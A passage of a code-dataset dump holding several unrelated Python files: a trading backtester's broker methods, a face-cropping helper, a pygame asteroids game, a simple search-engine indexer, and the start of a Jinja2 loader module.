being payed to the portfolios balance.\n Short trades results in the portfolio having to pay the dividend amount to \n the real owner of the stock.\n \"\"\"\n dividends = self.market_data.current_dividends()\n\n # print(\"dividends: \", dividends)\n for ticker, row in dividends.iterrows():\n for trade in self.blotter.active_trades:\n if ticker == trade.ticker:\n trade.dividends_per_share += row[\"dividends\"]\n dividend_amount = row[\"dividends\"] * abs(trade.amount) * (1 - self.tax_rate)\n # print(\"dividend amount: \", dividend_amount)\n if trade.direction == 1:\n portfolio.receive_dividends(dividend_amount)\n elif trade.direction == -1:\n portfolio.charge_for_dividends(dividend_amount)\n\n\n def handle_interest_on_short_positions(self, portfolio: PortfolioBase):\n margin_interest = self.calculate_margin_interest()\n if margin_interest != 0:\n portfolio.charge_margin_interest(margin_interest) # NOTE: I allways want this to succeed\n\n\n def handle_interest_on_cash_and_margin_accounts(self, portfolio: PortfolioBase):\n daily_rate = self.market_data.get_daily_interest_rate()\n total = (portfolio.balance + portfolio.margin_account) * daily_rate\n if total < 0:\n # NOTE: This should not be happen often\n portfolio.charge_interest(abs(total)) # If accounts have negative net balance, the portfolio must pay interest at the risk free rate\n if total > 0:\n portfolio.receive_interest(total)\n\n\n # ___________ MARGIN ACCOUNT METHODS _________________\n\n def calculate_required_margin_account_size(self, time_of_day=\"open\", new_orders=[]):\n \"\"\"\n Calculate the required contribution to the margin account for each short position in the portfolio.\n\n I assume that there will be an initial margin requirement and a minimum margin requirement associated with each stock.\n The margin requirement for each stock is added together to yield the portfolio margin requirement.\n\n Margin accounts must maintain a certain margin ratio at all times. If the account value falls \n below this limit, the client is issued a margin call, which is a demand for deposit of more cash\n or securities to bring the account value back within the limits. The client can add new cash to\n his account or sell some of his holdings to raise the cash.\n \n Whenever the price falls, investors are still required to have meet the initial margin requirement.\n When the price increases the maintenance margin is used -> need to see if the position is inn or out of profit.\n\n Formulas are inspired by the following article:\n https://www.investopedia.com/ask/answers/05/shortmarginrequirements.asp\n \"\"\"\n\n required_margin_account_size = 0\n\n # Add margin requirement for new trades\n for order in new_orders:\n if order.direction == -1:\n cur_price = self.market_data.current_for_ticker(order.ticker)[time_of_day] # NOTE: Do I need to revise?\n if cur_price is None:\n raise MarketDataNotAvailableError(\"Failed to calculate order margin requirement, because data not available for ticker {} on {}\".format(order.ticker, self.market_data.cur_date))\n \n order_margin_requirement = cur_price * abs(order.amount) * (1 + self.initial_margin_requirement)\n \n required_margin_account_size += order_margin_requirement\n\n # Add margin requirement for active trades\n for trade in self.blotter.active_trades:\n if trade.direction == -1:\n cur_price = self.market_data.current_for_ticker(trade.ticker)[time_of_day] # This can fail, but should not with forward filled price data\n if cur_price is None:\n cur_price = trade.fill_price\n\n # In the money?\n in_the_money = True if (cur_price <= trade.fill_price) else False # NOTE: Does not take into account dividends, but I think that is OK\n\n short_position_value = cur_price * abs(trade.amount)\n \n if in_the_money:\n trade_margin_requirement = short_position_value * (1 + self.initial_margin_requirement)\n else:\n trade_margin_requirement = short_position_value * (1 + self.maintenance_margin_requirement)\n\n required_margin_account_size += trade_margin_requirement\n\n\n return required_margin_account_size\n\n\n def calculate_margin_interest(self): \n \"\"\"\n Calculate the daily interest expense to charge the portfolio for any borrowed funds for short positions.\n I assume the interest rate are on the money loaned to originally get a hold of the share that was sold and will\n later be bought back to close the trade.\n \"\"\"\n amount_borrowed = 0\n\n daily_rate = ((1+self.annual_margin_interest_rate)**(1/360)) - 1\n\n for trade in self.blotter.active_trades:\n if trade.direction == -1:\n amount_borrowed += abs(trade.amount) * trade.fill_price\n trade.interest_expenses += abs(trade.amount) * trade.fill_price * daily_rate\n\n return amount_borrowed * daily_rate\n\n\n def set_commission_model(self, commission_model: CommissionModel):\n \"\"\"\n Set commission model to use.\n The commission model is responsible for modeling the costs associated with executing orders. \n \"\"\"\n if not isinstance(commission_model, CommissionModel):\n raise TypeError(\"Must be instance of CommissionModel\")\n\n self._commission_model = commission_model\n\n def set_slippage_model(self, slippage_model: SlippageModel):\n \"\"\"\n Set slippage model to use. The slippage model is responsible for modeling the effect your order has on the stock price.\n Generally the stock price will move against you when submitting an order to the market.\n \"\"\"\n if not isinstance(slippage_model, SlippageModel):\n raise TypeError(\"Must be instance of SlippageModel\")\n\n self._slippage_model = slippage_model\n\n\n # __________ METHODS TO CAPTURE STATE AND RECORD FINAL STATE ________________\n\n def capture_state(self):\n \"\"\"\n Adds the the current state of active positions to the active_positions_history list with some identifying attributes.\n Call at the end of each rebalancing date.\n \"\"\"\n\n active_trades = self.blotter.get_active_trades()\n for trade in active_trades:\n # Get price\n price = self.market_data.current_for_ticker(trade.ticker)[\"close\"]\n # Add value to trade\n if trade.direction == 1:\n trade.cur_value = trade.amount * price\n elif trade.direction == -1:\n trade.cur_value = abs(trade.amount) * (price - trade.fill_price)\n\n\n history_obj = {\n \"date\": self.market_data.cur_date,\n \"active_trades\": active_trades,\n }\n self.blotter_history.append(history_obj)\n\n\n\n def blotter_history_to_df(self):\n df = pd.DataFrame(columns=[\"order_id\", \"ticker\", \"direction\", \"amount\", \"stop_loss\", \"take_profit\", \"timeout\", \"date\", \"fill_price\",\\\n \"commission\", \"slippage\", \"interest_expenses\", \"dividends_per_share\", \"CLOSED\", \"close_price\", \"close_date\", \"close_cause\", \\\n \"ret\", \"total_ret\", \"total_dividends\"])\n index = 0\n for _, history_obj in enumerate(self.blotter_history):\n for j, trade in enumerate(history_obj[\"active_trades\"]):\n df.at[index, \"date\"] = history_obj[\"date\"]\n df.at[index, \"order_id\"] = trade.order_id\n df.at[index, \"signal_id\"] = trade.order.signal.signal_id\n df.at[index, \"ticker\"] = trade.ticker\n df.at[index, \"direction\"] = trade.direction\n df.at[index, \"amount\"] = trade.amount\n df.at[index, \"stop_loss\"] = trade.stop_loss\n df.at[index, \"take_profit\"] = trade.take_profit\n df.at[index, \"timeout\"] = trade.timeout\n df.at[index, \"trade_date\"] = trade.date\n df.at[index, \"fill_price\"] = trade.fill_price\n df.at[index, \"commission\"] = trade.commission\n df.at[index, \"slippage\"] = trade.slippage\n df.at[index, \"interest_expenses\"] = trade.interest_expenses\n df.at[index, \"dividends_per_share\"] = trade.dividends_per_share\n df.at[index, \"cur_value\"] = trade.cur_value # Added when capturing state\n df.at[index, \"CLOSED\"] = trade.CLOSED\n df.at[index, \"close_price\"] = trade.close_price\n df.at[index, \"close_date\"] = trade.close_date\n df.at[index, \"close_cause\"] = trade.close_cause\n df.at[index, \"ret\"] = trade.ret\n df.at[index, \"total_ret\"] = trade.total_ret\n df.at[index, \"total_dividends\"] = trade.total_dividends\n\n index += 1\n \n df = df.sort_values(by=[\"date\", \"trade_date\"]) \n return df\n \n def all_trades_to_df(self):\n trades = self.blotter.get_active_trades()\n trades.extend(self.blotter.get_closed_trades())\n df = pd.DataFrame(columns=[\"order_id\", \"ticker\", \"direction\", \"amount\", \"stop_loss\", \"take_profit\", \"timeout\", \"date\", \"fill_price\",\\\n \"commission\", \"slippage\", \"interest_expenses\", \"dividends_per_share\", \"CLOSED\", \"close_price\", \"close_date\", \"close_cause\", \\\n \"ret\", \"total_ret\", \"total_dividends\"])\n index = 0\n for trade in trades:\n df.at[index, \"order_id\"] = trade.order_id\n df.at[index, \"signal_id\"] = trade.order.signal.signal_id\n df.at[index, \"ticker\"] = trade.ticker\n df.at[index, \"direction\"] = trade.direction\n df.at[index, \"amount\"] = trade.amount\n df.at[index, \"stop_loss\"] = trade.stop_loss\n df.at[index, \"take_profit\"] = trade.take_profit\n df.at[index, \"timeout\"] = trade.timeout\n df.at[index, \"trade_date\"] = trade.date\n df.at[index, \"fill_price\"] = trade.fill_price\n df.at[index, \"commission\"] = trade.commission\n df.at[index, \"slippage\"] = trade.slippage\n df.at[index, \"interest_expenses\"] = trade.interest_expenses\n df.at[index, \"dividends_per_share\"] = trade.dividends_per_share\n df.at[index, \"CLOSED\"] = trade.CLOSED\n df.at[index, \"close_price\"] = trade.close_price\n df.at[index, \"close_date\"] = trade.close_date\n df.at[index, \"close_cause\"] = trade.close_cause\n df.at[index, \"ret\"] = trade.ret\n df.at[index, \"total_ret\"] = trade.total_ret\n df.at[index, \"total_dividends\"] = trade.total_dividends\n\n index += 1\n\n df = df.sort_values(by=[\"date\"])\n return df\n\n def all_trades_as_objects(self):\n trades = self.blotter.get_active_trades()\n trades.extend(self.blotter.get_closed_trades())\n\n return trades\n\n def cancelled_orders_to_df(self):\n df = pd.DataFrame(columns=[\"order_id\", \"ticker\", \"date\", \"error\", \"amount\", \"direction\", \"stop_loss\", \"take_profit\", \"timeout\", \"type\"])\n \n for index, c_ord in enumerate(self.blotter.cancelled_orders):\n df.at[index, \"order_id\"] = c_ord.order_id\n df.at[index, \"date\"] = c_ord.date\n df.at[index, \"ticker\"] = c_ord.ticker\n df.at[index, \"amount\"] = c_ord.order.amount\n df.at[index, \"error\"] = str(c_ord.error)\n df.at[index, \"order_direction\"] = c_ord.order.direction\n df.at[index, \"order_stop_loss\"] = c_ord.order.stop_loss\n df.at[index, \"order_take_profit\"] = c_ord.order.take_profit\n df.at[index, \"order_timeout\"] = c_ord.order.timeout\n df.at[index, \"order_type\"] = c_ord.order.type\n\n df = df.sort_values(by=[\"order_id\"])\n return df\n","repo_name":"DidrikF/automated-trading-system","sub_path":"backtester/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":36053,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"41966417615","text":"import numpy as np\nimport sys\nsys.path.insert(0, '/home/eddieh00/UCSD/ms/ece228/bmi_model/facenet/src')\nimport facenet\nimport tensorflow as tf\nimport os\nfrom scipy import misc\nfrom skimage.transform import resize\nfrom align import detect_face\nimport imageio\nimport cv2\n#########\n\ndef load_and_align_image(file_path, image_size=160, margin=32, gpu_memory_fraction=1.0):\n # Create a list of input images\n minsize = 20 # minimum size of face\n threshold = [ 0.6, 0.7, 0.7 ] # three steps's threshold\n factor = 0.709 # scale factor\n\n # Read image\n img = imageio.imread(os.path.expanduser(file_path))\n\n with tf.Graph().as_default():\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_memory_fraction)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n with sess.as_default():\n pnet, rnet, onet = detect_face.create_mtcnn(sess, None)\n \n # Detect face in the image\n bounding_boxes, _ = detect_face.detect_face(img, minsize, pnet, rnet, onet, threshold, factor)\n \n # If no face is detected, return original image\n if bounding_boxes.shape[0] == 0:\n print(\"No face detected\")\n return img\n\n # Assuming the image has only one face, get the bounding box\n det = np.squeeze(bounding_boxes[0, 0:4])\n bb = np.zeros(4, dtype=np.int32)\n bb[0] = np.maximum(det[0]-margin//2, 0)\n bb[1] = np.maximum(det[1]-margin//2, 0)\n bb[2] = np.minimum(det[2]+margin//2, img.shape[1])\n bb[3] = np.minimum(det[3]+margin//2, img.shape[0])\n\n # Crop the image using the bounding box coordinates\n cropped = img[bb[1]:bb[3],bb[0]:bb[2],:]\n\n # Resize the cropped image to the desired size\n aligned = resize(cropped, (image_size, image_size), mode='reflect')\n aligned = (aligned * 255).astype(np.uint8)\n\n return aligned","repo_name":"EddieH00/BMI_estimator","sub_path":"bmi_model/process_data2.py","file_name":"process_data2.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6543488865","text":"'''\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program. If not, see .\r\n#####\r\nRylan Denis\r\nMr. Davis\r\nAsteroids\r\n2/27/2017\r\nAdv. Comp. Prog.\r\nVersion 1.2\r\n'''\r\n\r\nimport pygame, sys, random\r\nfrom pygame.locals import *\r\n\r\npygame.init()\r\n\r\nBLACK = ( 0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = ( 0, 255, 0)\r\nBLUE = ( 0, 0, 255)\r\n\r\nbackground = BLACK\r\nentity_color = WHITE\r\n\r\nbackground=pygame.image.load(\"space.jpg\")\r\nlistAsteroid=[]\r\nlistLaser=[]\r\nleveltime=50\r\ncreationTime=leveltime\r\nall_sprites_list = pygame.sprite.Group()\r\nlives=3\r\nscore=0\r\n\r\n#Collision Detection\r\ndef isPointInsideRect(x,y,rect):\r\n if (x>rect.left) and (xrect.top) and (y window_height - self.height:\r\n self.rect.y = window_height - self.height\r\n\r\n\r\nclass Asteroid(Entity):\r\n \"\"\"\r\n The Asteroid! Moves around the screen.\r\n \"\"\"\r\n def __init__(self, x, y, width, height):\r\n super(Asteroid, self).__init__(x, y, width, height)\r\n\r\n self.image = pygame.image.load(\"asteroid.png\")\r\n\r\n self.x_direction = 5\r\n # Positive = down, negative = up\r\n # # Current speed.\r\n self.speed = 5\r\n self.sp=False\r\n\r\n def update(self):\r\n # Move the Asteroid!\r\n self.rect.x-=5\r\n # Keep the Asteroid in bounds, and make it bounce off the sides.\r\n\r\nclass AsteroidSP(Entity): #powerup\r\n \"\"\"\r\n The Asteroid! Moves around the screen.\r\n \"\"\"\r\n def __init__(self, x, y, width, height):\r\n super(AsteroidSP, self).__init__(x, y, width, height)\r\n\r\n self.image = pygame.image.load(\"asteroidSP.png\")\r\n\r\n self.x_direction = 5\r\n # Positive = down, negative = up\r\n # # Current speed.\r\n self.speed = 5\r\n self.sp=True\r\n\r\n def update(self):\r\n # Move the Asteroid!\r\n self.rect.x-=10\r\n # Keep the Asteroid in bounds, and make it bounce off the sides.\r\n\r\nclass Laser(Entity):\r\n \"\"\"\r\n The Laser! Destroys Asteroids\r\n \"\"\"\r\n def __init__(self,x, y, width, height):\r\n super(Laser, self).__init__(x, y, width, height)\r\n\r\n self.image = pygame.image.load(\"bullet.png\")\r\n\r\n self.x_direction = 5\r\n # Positive = down, negative = up\r\n # # Current speed.\r\n self.speed = 5\r\n\r\n def update(self):\r\n # Move the Laser!\r\n self.rect.x+=5\r\n\r\n#----------------------------------------------\r\n#FUNCTIONS\r\n#----------------------------------------------\r\n\r\ndef checkScreen(asteroids,lasers):\r\n global score\r\n for i in asteroids:\r\n if i.rect.x<=0:\r\n i.remove(all_sprites_list)\r\n asteroids.remove(i)\r\n if player.killed==False:\r\n score-=100\r\n for i in lasers:\r\n if i.rect.x>=window_width:\r\n i.remove(all_sprites_list)\r\n lasers.remove(i)\r\n\r\ndef checkKill(all):\r\n global lives\r\n for i in all:\r\n if player.killed==False:\r\n if doRectOverlap(i.rect,player.rect):\r\n all.remove(i)\r\n i.remove(all_sprites_list)\r\n lives-=1\r\n deathSound.play()\r\n if lives<=0: #only label them \"killed\" if they have no more lives\r\n player.killed=True\r\n\r\ndef laserHit(asteroids,lasers):\r\n global score\r\n for i in asteroids:\r\n for x in listLaser:\r\n if doRectOverlap(i.rect,x.rect):\r\n i.remove(all_sprites_list)\r\n x.remove(all_sprites_list)\r\n asteroids.remove(i)\r\n lasers.remove(x)\r\n if i.sp:\r\n score+=1000\r\n else:\r\n score+=100\r\n boomSound.play()\r\n\r\ndef calcHighScores():\r\n global highScores,counterHS,score\r\n if counterHS==0:\r\n counterHS+=1\r\n with open('highscore.txt') as f:\r\n hs = f.readlines()\r\n for i in hs:\r\n highScores.append(int(i.replace(\"\\n\", \"\")))\r\n highScores.append(score)\r\n highScores.sort(reverse=True)\r\n highScores.pop()\r\n f=open('highscore.txt','w')\r\n counterW=0\r\n for i in highScores:\r\n if counterW<10:\r\n f.write(str(i)+\"\\n\")\r\n counterW+=1\r\n else:\r\n f.write(str(i))\r\n f.close()\r\n pygame.mixer.music.load('ponyIslandTrack11.wav')\r\n pygame.mixer.music.play(-1, 0.0)\r\n\r\n#-----------------------------------------------------------\r\n\r\npygame.init()\r\n\r\nwindow_width = 700\r\nwindow_height = 400\r\nscreen = pygame.display.set_mode((window_width, window_height))\r\nscreen.blit(background,(0,0))\r\npygame.display.set_caption(\"Asteroids\")\r\n\r\nclock = pygame.time.Clock()\r\n\r\nFirst = Asteroid(window_width, random.randint(0,window_height-50), 54, 50)\r\nlistAsteroid.append(First)\r\nplayer = Player(20, window_height / 2, 53,50)\r\n\r\nall_sprites_list.add(First)\r\nall_sprites_list.add(player)\r\n\r\nfont=pygame.font.SysFont(\"freesansbold.ttf\",50) #font for scoreboard\r\nfontSmall=pygame.font.SysFont(\"freesansbold.ttf\",35) #font for scoreboard\r\n\r\nhighScores=[]\r\ncounterHS=0\r\nmenuVar=True #if you're on the menu or not\r\ntopScore=0 #for high score on menu\r\nasteroidCount=0 #for calculating powerup status\r\n\r\nf=open('highscore.txt','r')\r\ntopScore=int(f.readline().replace(\"\\n\",\"\"))\r\nf.close()\r\n\r\ndeathSound=pygame.mixer.Sound('robloxDeathSound.wav')\r\nlaserSound=pygame.mixer.Sound('laser.wav')\r\nboomSound=pygame.mixer.Sound('boom.wav')\r\npygame.mixer.music.load('rickAstleyShootingStars.wav')\r\npygame.mixer.music.play(-1, 0.0)\r\n\r\nwhile True:\r\n if menuVar:\r\n all_sprites_list.remove(player)\r\n title1 = font.render(\"THAT ONE GAME WITH ASTEROIDS\", 1, WHITE)\r\n title2 = font.render(\"AND YOU HAVE A SPACESHIP THAT\", 1, WHITE)\r\n title3 = font.render(\"FIRES BULLETS THAT SCREAM 'LASER'\", 1, WHITE)\r\n screen.blit(title1,(40,50))\r\n screen.blit(title2, (40, 80))\r\n screen.blit(title3, (10, 110))\r\n startInst=fontSmall.render(\"\",1,WHITE) #game start instructions\r\n hsInst = fontSmall.render(\"High Score: {0}\".format(topScore), 1, WHITE) #highest current score\r\n comInst = fontSmall.render(\"Controls: and to move, to shoot\",1,WHITE) #controls\r\n screen.blit(startInst,(window_width/2-200,270))\r\n screen.blit(hsInst, (window_width/2-100,300))\r\n screen.blit(comInst,(window_width/2-335,370))\r\n # Event processing here\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n elif event.type == pygame.KEYDOWN and event.key==pygame.K_SPACE:\r\n menuVar=False\r\n elif menuVar==False:\r\n all_sprites_list.add(player)\r\n laserHit(listAsteroid,listLaser) #Check if laser hits asteroid\r\n checkKill(listAsteroid) #Check if player hit by asteroid\r\n checkScreen(listAsteroid,listLaser) #Check if anything off screen\r\n if not player.killed:\r\n asteroidCount+=1\r\n if creationTime<=0:#This creates asteroids after set amount of time\r\n if asteroidCount%17==0:\r\n x = AsteroidSP(window_width - 1, random.randint(0, window_height - 50), 54, 50)\r\n else:\r\n x=Asteroid(window_width-1, random.randint(0,window_height-50), 54, 50)\r\n listAsteroid.append(x)\r\n all_sprites_list.add(x)\r\n leveltime-=.25 #each time an asteroid is formed we make it shorter until next is made\r\n creationTime=leveltime\r\n # Event processing here\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n elif event.type == pygame.KEYDOWN:\r\n player.MoveKeyDown(event.key)\r\n elif event.type == pygame.KEYUP:\r\n player.MoveKeyUp(event.key)\r\n\r\n for ent in all_sprites_list:\r\n ent.update()\r\n\r\n screen.blit(background,(0,0))\r\n\r\n if player.killed==False: #Only display score and lives if the player is still alive\r\n pTxt = font.render(\"Score: {0}\".format(score), 1, WHITE)\r\n livesTxt = font.render(\"Lives: {0}\".format(lives), 1, WHITE)\r\n screen.blit(pTxt, (100, 10))\r\n screen.blit(livesTxt, (450, 10))\r\n else: #otherwise, the player is removed from the game and given a game over screen\r\n calcHighScores()\r\n all_sprites_list.remove(player)\r\n overTxt=font.render(\"GAME OVER\", 1, WHITE)\r\n pTxt = font.render(\"Your Score: {0}\".format(score), 1, WHITE)\r\n screen.blit(overTxt,(window_width/2,10))\r\n screen.blit(pTxt, (window_width/2,40))\r\n #high scores\r\n hsTitle=font.render(\"HIGH SCORES:\",1,WHITE)\r\n score1=font.render(\"1. {0}\".format(highScores[0]),1,WHITE)\r\n score2 = font.render(\"2. {0}\".format(highScores[1]), 1, WHITE)\r\n score3 = font.render(\"3. {0}\".format(highScores[2]), 1, WHITE)\r\n score4 = font.render(\"4. {0}\".format(highScores[3]), 1, WHITE)\r\n score5 = font.render(\"5. {0}\".format(highScores[4]), 1, WHITE)\r\n score6 = font.render(\"6. {0}\".format(highScores[5]), 1, WHITE)\r\n score7 = font.render(\"7. {0}\".format(highScores[6]), 1, WHITE)\r\n score8 = font.render(\"8. {0}\".format(highScores[7]), 1, WHITE)\r\n score9 = font.render(\"9. {0}\".format(highScores[8]), 1, WHITE)\r\n score10 = font.render(\"10. {0}\".format(highScores[9]), 1, WHITE)\r\n screen.blit(hsTitle,(10,10))\r\n screen.blit(score1, (10, 40))\r\n screen.blit(score2, (10, 70))\r\n screen.blit(score3, (10, 100))\r\n screen.blit(score4, (10, 130))\r\n screen.blit(score5, (10, 160))\r\n screen.blit(score6, (10, 190))\r\n screen.blit(score7, (10, 220))\r\n screen.blit(score8, (10, 250))\r\n screen.blit(score9, (10, 280))\r\n screen.blit(score10, (10, 310))\r\n\r\n all_sprites_list.draw(screen)\r\n creationTime-=1\r\n pygame.display.flip()\r\n\r\n clock.tick(60)","repo_name":"CSA-RED/AdvProgramming2016","sub_path":"Asteroids/asteroidGame.py","file_name":"asteroidGame.py","file_ext":"py","file_size_in_byte":13723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37484032776","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nModule: \r\npa2022_search_engine\r\n\r\nAbout:\r\nImplements functions used by a directory search engine\r\n\r\nSOME FUNCTIONS OR THEIR SKELETONS HAVE BEEN PROVIDED\r\nHOWEVER, YOU ARE FREE TO MAKE ANY CHANGES YOU WANT IN THIS FILE\r\nAS LONG AS IT REMAINS COMPATIBLE WITH main.py and tester.py\r\n\"\"\"\r\n\r\n#%% ---------------------------------------------------------------------------\r\n# Required Imports\r\n#------------------------------------------------------------------------------\r\nimport string\r\nfrom timeit import default_timer as timer\r\nimport os\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef dict_to_file(di, fi):\r\n with open(fi, \"w\") as f:\r\n for key, value in di.items():\r\n f.write(\"%s:%s\\n\" % (key, value))\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef print_result(result):\r\n \"\"\"\r\n Print result (all docs with non-zero weights)\r\n \"\"\"\r\n print(\"# Search Results:\")\r\n count = 0\r\n for val in result: \r\n if val[1] > 0: \r\n print(val[0])\r\n count += 1\r\n print(count, \" results returned\")\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef crawl_folder(folder\r\n ,forward_index\r\n ,invert_index\r\n ,term_freq\r\n ,inv_doc_freq\r\n ,doc_rank\r\n ):\r\n \"\"\"\"\r\n Crawls a given folder, and runs the indexer on each file\r\n \"\"\"\r\n \r\n total_docs = 0\r\n for file in os.scandir(folder):\r\n if file.is_file():\r\n total_docs += 1\r\n index_file(file.name, file.path, forward_index, invert_index, term_freq, doc_rank)\r\n\r\n # with invert_index calculated, we can calculate the inv_doc_freq of each unique word\r\n # where inv_doc_freq = number of documents with the word / total number of documents\r\n for word in invert_index.keys():\r\n inv_doc_freq[word] = len(invert_index[word])/total_docs\r\n \r\n#%%----------------------------------------------------------------------------\r\ndef sanitize_word(word):\r\n \"\"\"\r\n Removes all non ascii characters from a given word\r\n \"\"\" \r\n newword = \"\"\r\n word_len = len(word)\r\n \r\n for i in range(word_len):\r\n char_to_check = word[i]\r\n char_num = ord(char_to_check)\r\n if char_num > 96 and char_num < 123:\r\n newword += char_to_check\r\n \r\n return(newword)\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef parse_line(line):\r\n \"\"\" \r\n Parses a given line, \r\n removes whitespaces, splits into list of sanitize words\r\n Uses sanitize_word()\r\n \r\n HINT: Consider using the \"strip()\" and \"split()\" function here\r\n \r\n \"\"\" \r\n\r\n list_of_words = []\r\n split_line = line.split()\r\n for word_to_add in split_line:\r\n # these methods could be chained into one line, but I've left them separate for code readability/maintainability - check timings and briefly mention in report\r\n lowercase_word = word_to_add.lower()\r\n stripped_word = lowercase_word.strip()\r\n # stripped_word = word_to_add.strip() check if this step improves the timing?\r\n sanitised_word = sanitize_word(stripped_word)\r\n if len(sanitised_word) > 0:\r\n list_of_words.append(sanitised_word)\r\n \r\n return(list_of_words)\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef index_file (filename\r\n ,filepath\r\n ,forward_index\r\n ,invert_index\r\n ,term_freq\r\n ,doc_rank\r\n ):\r\n \"\"\" \r\n Given a file, indexes it by calculating its:\r\n forward_index\r\n term_freq\r\n doc_rank\r\n and updates the global invert_index\r\n \"\"\"\r\n start = timer()\r\n with open(filepath, 'r', encoding=\"utf-8\") as f:\r\n \r\n # \r\n\r\n # *********************************************\r\n # NOTE - before adding new documents, check that it doesn't already exist 1st - that way the count of documents stays correct!!!!!!!!\r\n # *********************************************\r\n\r\n\r\n # create a list and a set of words from the text file\r\n start = timer()\r\n file_content = f.readlines()\r\n \r\n \r\n list_of_words = []\r\n for line_to_parse in file_content:\r\n words_from_line = parse_line(line_to_parse)\r\n if words_from_line != []:\r\n list_of_words.extend(words_from_line)\r\n \r\n\r\n set_of_words = set(list_of_words)\r\n \r\n # record the size of the file and record this ad the document rank in doc_rank\r\n total_doc_len = 0\r\n for line in file_content:\r\n total_doc_len += len(line)\r\n doc_rank[filename] = 1 / total_doc_len\r\n \r\n # add the set of unique words to forward_index\r\n forward_index[filename] = list(set_of_words)\r\n \r\n # create an entry in term_freq\r\n # make a dict of key:values for word:frequency_count\r\n total_number_of_words = len(list_of_words)\r\n frequency_of_words = {}\r\n freq_count_dict = {}\r\n\r\n #frequency_of_words = {}\r\n #for word in set_of_words2:\r\n #frequency_count = list_of_words.count(word)\r\n #frequency_of_words[word] = frequency_count / total_number_of_words\r\n\r\n for word in list_of_words:\r\n if word in freq_count_dict:\r\n freq_count_dict[word] += 1\r\n else:\r\n freq_count_dict[word] = 1\r\n \r\n for word in freq_count_dict:\r\n frequency_of_words[word] = freq_count_dict[word] / total_number_of_words\r\n\r\n # store this new dict in the term_freq dict\r\n term_freq[filename] = frequency_of_words\r\n \r\n # now add the words from set_of_words to invert_index\r\n for word in set_of_words:\r\n if not(word) in invert_index:\r\n invert_index[word] = []\r\n if not(filename) in invert_index[word]:\r\n invert_index[word].append(filename)\r\n \r\n \r\n end = timer()\r\n print(\"Time taken to index file: \", filename, \" = \", end-start)\r\n\r\n#%%----------------------------------------------------------------------------\r\ndef search (search_phrase\r\n ,forward_index\r\n ,invert_index\r\n ,term_freq\r\n ,inv_doc_freq\r\n ,doc_rank \r\n ):\r\n \"\"\" \r\n For every document, you can take the product of TF and IDF \r\n for term of the query, and calculate their cumulative product. \r\n Then you multiply this value with that documents document-rank \r\n to arrive at a final weight for a given query, for every document. \r\n \"\"\"\r\n \r\n search_words = parse_line(search_phrase)\r\n \r\n result_weightings = {}\r\n\r\n # \r\n# For every document, you can take the product of TF and IDF for each term of the query, and\r\n# calculate their cumulative product. Then you multiply this value with that documents\r\n# DocumentRank to arrive at a final weight for a given query, for every document. This weight\r\n# is then used to sort your results.\r\n \r\n sorted_result = []\r\n if search_words:\r\n document_list = set(doc_rank)\r\n \r\n # for every document - calculate the document doc_rank\r\n \r\n # start by getting list of all docs which have all search terms\r\n for search_word in search_words:\r\n if search_word in invert_index:\r\n search_word_doc_list = set(invert_index[search_word])\r\n document_list = document_list.intersection(search_word_doc_list)\r\n else:\r\n document_list = set()\r\n \r\n if len(document_list):\r\n for doc in document_list:\r\n doc_product = doc_rank[doc]\r\n for search_word in search_words:\r\n doc_product *= term_freq[doc][search_word]\r\n doc_product *= inv_doc_freq[search_word]\r\n\r\n result_weightings[doc_product] = doc\r\n \r\n # sort the weightings using bubble sort from partA\r\n result_order = list(result_weightings)\r\n end = len(result_weightings) - 1\r\n for outer in range(end, -1, -1):\r\n for i in range(0, outer):\r\n if float(result_order[i]) < float(result_order[i+1]):\r\n temp = result_order[i]\r\n result_order[i] = result_order[i + 1]\r\n result_order[i + 1] = temp\r\n\r\n # result_order = sorted(result_weightings, reverse=True)\r\n \r\n \r\n for result_weighting in result_order:\r\n sorted_result.append([result_weightings[result_weighting], result_weighting])\r\n \r\n return(sorted_result)\r\n","repo_name":"dtghub/PAassdEx1","sub_path":"PartB/pa_search_engine.py","file_name":"pa_search_engine.py","file_ext":"py","file_size_in_byte":9017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11415202611","text":"\"\"\"Jinja2 loader that supports reading from Ecclesia runfiles.\n\nWhen running a Python binary from blaze-bin, this loads templates from the\nblaze-bin directory.\n\necclesia:google3-begin(internal docs)\n\nWe expect templates to only be declared in the Ecclesia subdirectory because\nall Redfish client libraries will be owned by the Ecclesia team. If this is\nnot true, then this library will need to be readapted to work within other\ndirectories as well.\n\nThis implementation is mostly a stripped down version of the internal\nresources.py implementation in google3/pyglib/resources.py\n\necclesia:google3-end\n\"\"\"\n\nimport os.path\nfrom typing import Any, Callable, Optional, Tuple\n\nimport jinja2\n\n\ndef _DeriveEcclesiaRootFromThisFile(this_filename: str,\n common_root: str) -> Optional[str]:\n \"\"\"Get the ecclesia root directory.\n\n Args:\n this_filename: The complete ecclesia path to this file (loader.py).\n common_root: A directory with a common root with this file.\n\n Returns:\n The root path of this file.\n \"\"\"\n root = 